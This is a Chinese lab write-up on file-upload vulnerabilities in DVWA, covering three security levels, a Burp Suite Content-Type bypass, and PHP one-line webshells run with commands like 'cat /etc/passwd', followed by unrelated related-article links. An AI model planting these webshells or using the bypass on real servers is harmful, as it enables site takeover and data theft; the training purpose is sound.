1.文件上传漏洞渗透及防御(OWASP实战训练)

1.文件上传漏洞渗透及防御(OWASP实战训练)

  • OWASP
    • upload上传漏洞
    • 实验一:低安全模式下,上传任意类型的文件,文件大小不受限制
    • 实验二,安全级别调整将其变为中等安全级别
    • 实验三:将其设为高安全级别

OWASP

https://sourceforge.net/projects/owaspbwa/files/
上方地址为靶机OWASP的最新下载地址

DVWA的界面密码是admin admin 进入后就有
我们一般用damn vulnerable web App这个模块来练习
在DVWA页面上有很多的漏洞,模拟了糟糕的开发人员开发的程序

upload上传漏洞

在选择图片上传时有个漏洞,选择图片上传时上传成功了,而选择一个PHP程序时也上传成功了,理论上是不应该有这个漏洞的,但是因为开发人员没有做出这个检测,本身应该上传其要求的文件类型,但上传任意文件类型,其中就包含我们的木马程序,这就是文件上传漏洞。
本身上传

一句话木马上传后,使用菜刀就能控制
有时可能不会犯错,但有很多业务线,很多网站有主站和子站,子站可能会犯错。
就本身文件上传无论是博客还是论坛,都应具备的行为,上传头像、附件、图片、视频都是正常的,但如果有人恶意上传PHP、ASP、java、python等文件绕过了web应用而且顺利执行,这样就能拿到webshell,一旦拿到webshell就能拿到web应用数据删除网站甚至是做进一步提权进入此系统中,特别是webshell可以和后面的sql注入相结合。

文件上传本身是正常的,但如果我们没有做合理的过滤和检测而导致用户绕过web应用上传一些程序文件这就是漏洞。

实验一:低安全模式下,上传任意类型的文件,文件大小不受限制

刚刚upload就是个例子,在DVWA security有个安全级别设置low,特别糟糕的开发人员设计的程序。
1,靶机设计安全等级,DVWA security
2,右下角有个查看源代码,在低安全下面的代码很简单

<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename( $_FILES['uploaded']['name']);if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}
?>

上方源代码是post提交,提交的主目录是在"hackable/uploads/路径下,目标名字,并且这里并没有做任何检测,有对象就上传成功,没有对象就上传失败,是个非常糟糕开发者

PHP源码是后端语言,在前端是看不到的
Nigx是webserver只能处理静态资源,网站有动态,需要PHP中间件php-APM

网站请求静态资源,是HTML,css,js图像等,Nginx直接从磁盘弄出来返回客户端有浏览器渲染就有了页面。
现在客户端请求PHP程序,Nginx受到请求,看到后缀为PHP,通过一种方式去找PHPAPM,PHPAPM对程序执行,执行后(就变成了静态的东西了)将结果交给Nginx,在客户端永远看不到后台的代码的,看到的始终是静态的结果。
客户端和Nginx之间的通信用的是http协议或HTTPS,Nginx和中间件使用的是fast_cgi协议。此处的view source查看的是后端PHP源码,在正常网页上是看不到的。
这是个靶机每步都有响应,比如上传图片成功了会响应,后端源码我们是看不到的,只有用爬虫爬下来才能看到。爬取网站前端后端都爬下来。

我们有个PHP一句话木马,在G:\网络安全学习笔记\web安全白帽子\中国菜刀及一句话木马下,可将其上传。
下面是刚才木马文件上传的路径,http://192.168.0.106/dvwa/hackable/uploads/shell1.php

下面使用中国菜刀,运行jar包,在菜刀内添加一个url,右键有文件管理,也有虚拟终端,如果被人上传了这种文件是可怕的,别人可以连接你的服务器对你的网站系统管理,到底什么权限过会再讲。
后台源码基本无检测,不关注文件的后缀内容等,如果过上传的恶意木马就能通过菜刀或者相应的软件进行链接对此机器。

实验二,安全级别调整将其变为中等安全级别

提交后还是按照之前的套路上传下,我们可以把之前的shell删除,靶机的网站结构还是比较清楚的。使用Xshell在目录下将木马删除

rm -f shell1.php 

安全等级变为中等后可以上传图片,试一下能否正常显示,
http://192.168.0.106/dvwa/hackable/uploads/cha.jpg可以
在此选择shell1的PHP文件上传,会显示图片并未上传,此时再看一下他的源码,这个源码就要限制,如果上传的文件不是image/jpeg就不会上传
在MIME类型(上网查),content-type,上传失败是限制了类型,PHP是App应用类型。

<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_type = $_FILES['uploaded']['type'];$uploaded_size = $_FILES['uploaded']['size'];if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}else{echo '<pre>Your image was not uploaded.</pre>';}}
?>

我们有个方法对此类型进行修改绕过它,不是改文件的后缀,接下来我们要用到burpsuite这个软件,它的功能非常强大,如代理,拦截,爬虫,及漏扫,攻击于一体的软件非常强大。
在这里插入图片描述

我们可以用burpsuite拦截请求更改内容再上传就能上传成功了,要将火狐或者IE的代理指向burpsuite否则请求不会走向这边。直接转发是没有用的。

我们直接在kali中的火狐中启动代理就行,burpsuite只有专业版有漏洞扫描,此时只用其代理拦截功能,至于漏扫后面会讲。今天只是第一次打交道。

Proxy代理,spider爬虫,scanner漏扫。
在proxy下intercept拦截功能打开请求就被拦截了,画面就不出现了,将拦截功能关闭又能使用浏览器访问了,但是代理功能还是开着的,请求还是通过这个代理走的。只是没有拦截下来。

这个代理不见得只是这个机器内部使用,默认情况是工作在本地的,火狐修改代理配置后可以使用。可以改proxy的option来更改代理。

1,首先将intercept关闭,使用火狐打开网站,在上传文件前将intercept打开
2,选择shell的PHP一句话木马文件上传,使用burpsuite抓包如下

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Content-Length: 452
Origin: http://192.168.0.102
Connection: close
Referer: http://192.168.0.102/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=nsvh9mt44vjrocftrhpn5v5374; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1-----------------------------18467633426500
Content-Disposition: form-data; name="MAX_FILE_SIZE"100000
-----------------------------18467633426500
Content-Disposition: form-data; name="uploaded"; filename="shell1.php"
Content-Type: application/octet-stream<?php @eval($_POST['chopper']);?>
-----------------------------18467633426500
Content-Disposition: form-data; name="Upload"Upload
-----------------------------18467633426500--

注意此时将Content-Type: application/octet-stream的文件类型更改为
Content-Type:image/jpeg,接着点击转发forward,过没过去可以通过网页下方显示看到。…/…/hackable/uploads/shell1.php succesfully uploaded!

这个主要是通过更改类型Content-Type来达到欺骗服务器的目的,而木马文件的后缀是没有更改的。现在用菜刀也是可以连接上的。此时若不想使用拦截可将其关闭。
这是通过修改文件的MIME类型达到欺骗服务器的目的,每个文件都有MIME类型。
中安全级别下面如何上传这样的一个类型,我们稍微绕了一下并不是通过刚才直接上传,通过代理软件将其拦截并修改转发。

实验三:将其设为高安全级别

再此查看源代码,发现这次限制的不是MIME文件扩展名了,限制的是文件的后缀,只能上传jpg等图片格式。限制的太死了。上传之前将上次的一句话木马删除保证公正。

<?php 
if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?> 

现在按照第二种更是改文件类型是不行的,因为限制的是后缀,所以不打算改了。那能filename="shell1.php.jpg"可以吗,上传是可以的,但是无法使用的。此处是无法识别显示的,菜刀连接此路径虽然能连接上,只能看一些文件结构,但不能在里面操作,但是真实实验是不可以使用的。
看结构也很简单,爬虫一爬就能看到了。

低安全级别无任何限制
中安全级别文件类型MIME限制(content-type)
高安全级别限制后缀(现在感到为难了)

暂时不管,认识webshell木马程序(可以上传到网站也可以上传到数据库中)
目前上传到网站中去还有很多种方式。

Webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵检测系统检测到
下面准备了两个脚本,

设立了

shell2.php  #eval 使用PHP函数,例如PHPinfo
<?php eval($_REQUEST['cmd']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();Shell3.php   #system 使用Linux系统命令,列如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?yangge=cat /etc/passwd

此时是高安全级别,是上传不上去的,我们现改为低级别上传一下
将shell2上传,注意shell2的eval调用的是PHP的函数,而system调用的是系统命令,?是传递参数,PHPinfo是用来打印整个PHP信息的。
那如果是shell3呢,注意yangge= 后面跟的是系统命令可以用ls会输出当前目录下的目录,或者id展示当前用户名。Id是哪个用户运行的Apache。

我们可以在Xshell运行以下程序查看此机器运行的权限

root@owaspbwa:~# ps aux | grep apache
root      1037  0.0  1.3  49544 14136 ?        Ss   01:16   0:00 /usr/sbin/apache2 -k start
root      1070  0.4  5.9 285588 61488 ?        Sl   01:16   0:04 /usr/lib/jvm/java-6-openjdk/bin/java -Djava.util.logging.config.file=/var/lib/tomcat6/conf/logging.properties -Djava.awt.headless=true -Xmx128M -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/usr/share/tomcat6/endorsed -classpath /usr/share/tomcat6/bin/bootstrap.jar -Dcatalina.base=/var/lib/tomcat6 -Dcatalina.home=/usr/share/tomcat6 -Djava.io.tmpdir=/tmp/tomcat6-tmp org.apache.catalina.startup.Bootstrap start
www-data  1102  0.0  1.0  51308 10580 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1103  0.0  1.0  51392 11176 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1104  0.0  1.0  51396 11028 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1105  0.0  1.1  51540 12112 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1106  0.0  1.0  51308 11088 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
root      2122  0.0  0.0   3328   808 pts/0    S+   01:32   0:00 grep apache

在此机器,www-data是普通用户,现在webshell拿到的权限是www-data的权限,拿到的权限就到此为止了,除非再做后面的提权,现在想做其他地方也看不了,在yangge=ls /root上是看不了的,而读权限yangge=cat /etc/passwd
是可以的,那如果输入yangge=echo “ssss” > /tmp/file1 在tmp下建立一个file1的文件,是可以的,用Xshell可以查看到这个。输入命令,只要有权限就能执行,这种执行方法,相对于中国菜刀来讲有点low,需要在地址栏一个一个敲是麻烦的。

中国菜刀

<?php @eval($_POST['chopper']);?>

说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。
使用菜刀时要注意右键更新缓存。
上面的一句话木马可以精简到下面
<?php eval($_POST[1]);?> 这就是shell5的代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/34557.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【教程】如何一步一步训练一个SOM神经网络-自组织竞争神经网络(Self-organizing Feature Map)

本文来自《老饼讲解-BP神经网络》https://www.bbbdata.com/ 目录 一、什么是SOM神经网络1.1.SOM神经网络有什么用1.2.SOM神经网络是如何聚类的 二、如何训练一个SOM神经网络2.1. 训练一个SOM神经网络的代码示例2.2. 如何查看SOM神经网络的聚类中心 SOM神经网络全称为自组织竞争…

《系统架构设计师教程(第2版)》第11章-未来信息综合技术-05-数字孪生体(Digital Twin)技术概述

文章目录 1. 数字孪生体发展历程1.2 准备期1.2 概念产生期1.3 领先应用期1.4 深度开发和大规模扩展应用期 2. 数字孪生体的定义3. 数字孪生体的关键技术3.1 建模3.2 仿真技术3.3 其他技术 4. 数字孪生体的应用4.1 制造领域4.2 全产业链上的应用4.3 城市4.4 战场 1. 数字孪生体发…

解决Java中的NoSuchAlgorithmException异常的技术实践

解决Java中的NoSuchAlgorithmException异常的技术实践 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在Java编程中&#xff0c;NoSuchAlgorithmException异常…

Redis-主从复制-测试主从模式下的读写操作

文章目录 1、在主机6379写入数据2、在从机6380上写数据报错3、从机只能读数据&#xff0c;不能写数据 1、在主机6379写入数据 127.0.0.1:6379> keys * (empty array) 127.0.0.1:6379> set uname jim OK 127.0.0.1:6379> get uname "jim" 127.0.0.1:6379>…

【机器学习】python之人工智能应用篇——3D生成技术

在Python中&#xff0c;人工智能&#xff08;AI&#xff09;与3D生成技术的结合可以体现在多个方面&#xff0c;比如使用AI算法来优化3D模型的生成、通过机器学习来预测3D模型的属性&#xff0c;或者利用深度学习来生成全新的3D内容。然而&#xff0c;直接通过AI生成完整的3D模…

单片机IO口模拟串口实现原理

参考链接 1、使用GPIO来模拟UART 2、STM32之IO模拟串口篇 1、工作原理 单片机IO口模拟串口的实现原理通常是通过软件来模拟串行通信的传输和接收。下面说明了单片机IO口模拟串口的实现原理&#xff1a; 配置IO口&#xff1a;选择两个IO口作为模拟串口的发送和接收引脚。通常…

go语言:数据库sql查询保存任意数量字段的数据

1、查询任意列数的表&#xff0c;并输出 func search() {rows, _ : db.Query("select * from users") // 查询数据columns, _ : rows.Columns() // 查询到的字段名列表values : make([]any, len(columns)) // 根据字段数量&#xff0c;创建接收…

优雅的参数校验——Guava库中的Preconditions

Guava库中的Preconditions类提供了一些静态方法&#xff0c;用于在程序中执行参数的检查和验证。这些方法在编写健壮和可维护的代码时非常有用 checkArgument(boolean expression)&#xff1a; 作用&#xff1a;用于验证方法的参数是否满足某个条件。如果条件不满足&#xff0c…

rancher快照备份至S3

巧用rancher的S3快照备份功能&#xff0c;快速实现集群复制、集群转移、完全崩溃后的极限修复 1.进入集群管理&#xff0c;在对应的集群菜单后&#xff0c;点击编辑配置 2.选择ETCD&#xff0c;启用&#xff0c;Backup Snapshots to S3选项 并填入你的minio 3 配置成功后 手…

使用adb shell getprop命令获取Android设备的属性

常用属性获取&#xff1a; adb shell getprop ro.build.version.emui —查询EMUI版本 adb shell getprop ro.product.brand —查询手机品牌 adb shell getprop ro.product.name --查询设备名称 adb shell getprop ro.serialno —查询设备序列号 获取手机系统信息( CPU,厂商…

C# 信号量的使用

学习来源&#xff1a;《.net core 底层入门》 第六章第9节&#xff1a;信号量 案例&#xff1a;主线程负责添加数据&#xff0c;子线程负责获取数据 使用SemaphoreSlim&#xff08;轻信号量&#xff09;实现&#xff1a; using System; using System.Collections.Generic; us…

python中的<class ‘complex‘>

一般编程里面不怎么会讲&#xff0c;但是还是挺强大的一个类。 在 Python 中&#xff0c;<class complex> 表示复数类型。复数是一种包含实部和虚部的数学数&#xff0c;可以用 a bj 的形式表示&#xff0c;其中 a 表示实部&#xff0c;b 表示虚部&#xff0c;j 是虚数…

bat脚本暂停写法

使用 timeout 命令来实现暂停&#xff1a; timeout /t 1 /nobreak >nul/t &#xff1a;指定暂停的时间&#xff0c;单位为秒。/nobreak&#xff1a;防止用户按任意键终止暂停。

13 物理层介质及设备

物理层介质及设备 一、线缆的连接 &#xff08;一&#xff09;线序 ​ 线序&#xff1a; RJ-45连接头12345678568A绿白绿橙白蓝蓝白橙棕白棕568B橙白橙绿白蓝蓝白绿棕白棕 ​ 1、2发送&#xff0c;3、6接收 &#xff08;二&#xff09;线缆的应用 1.线缆的连接 ​ 标准…

Spring自定义标签体系和应用

我们知道&#xff0c;在使用Dubbo框架时&#xff0c;需要指定配置文件中的application、protocol、registry、provider、service等服务器端和客户端的配置项&#xff0c;典型的配置方法如下所示。通过这些配置项&#xff0c;我们可以基于Spring容器来启动Dubbo服务。 <!-- …

【2024.6.23】今日科技时事:科技前沿大事件

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 目录 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌…

常用原语介绍

1.在Xilinx的example&#xff08;wavegen example&#xff09;中看到他们的顶层模块的输入输出管脚都手动例化原语IBUF以及OBUF——工具也会自动给我们加上不必要自己加 2.非mrcc个srcc的管脚输入的时钟信号&#xff0c;无法进入mmcm————试验过会报错 3.实际上&#xff0…

探索PHP中的函数

在PHP编程中&#xff0c;函数是一个非常重要的概念。函数可以帮助我们将代码组织成可重复使用的块&#xff0c;从而提高代码的可读性和可维护性。本文将介绍PHP中的函数&#xff0c;包括函数的定义、参数传递、返回值、内置函数和自定义函数等内容&#xff0c;帮助读者更好地理…

WPF 深入理解八、Binding 绑定

Binding 创建一个Demo 1 1.创建三个输入框&#xff0c;按钮 2.为按钮创建点击方法 3.点击按钮 三个输入框&#xff0c;分别更新了自己的内容。 上面的展示&#xff0c;是一个传统的模式&#xff0c;事件驱动程序&#xff0c;通过事件来变更UI控件元素的内容。 示例二 创建…

OS_虚拟机

2024.06.21&#xff1a;操作系统虚拟机学习笔记 第4节 虚拟机 4.1 虚拟机基本概念4.2 一型虚拟机管理程序4.3 二型虚拟机管理程序4.4 用户态与内核态 本节的主要内容就是来分辨两种不同的虚拟机管理程序 4.1 虚拟机基本概念 利用虚拟化技术&#xff0c;把一台物理机器虚拟成多…